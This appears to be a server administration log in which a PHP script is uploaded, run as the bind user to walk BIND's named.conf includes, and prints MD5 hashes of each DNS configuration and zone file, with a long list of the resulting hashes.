MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 12:36:29: Establishing a connection
2026-04-24 12:36:29: 

PUT: /tmp/pkp916495

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 12:36:29: 

runuser -l bind -s /bin/bash -c '/tmp/pkp916495; rm /tmp/pkp916495'

2026-04-24 12:36:29: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
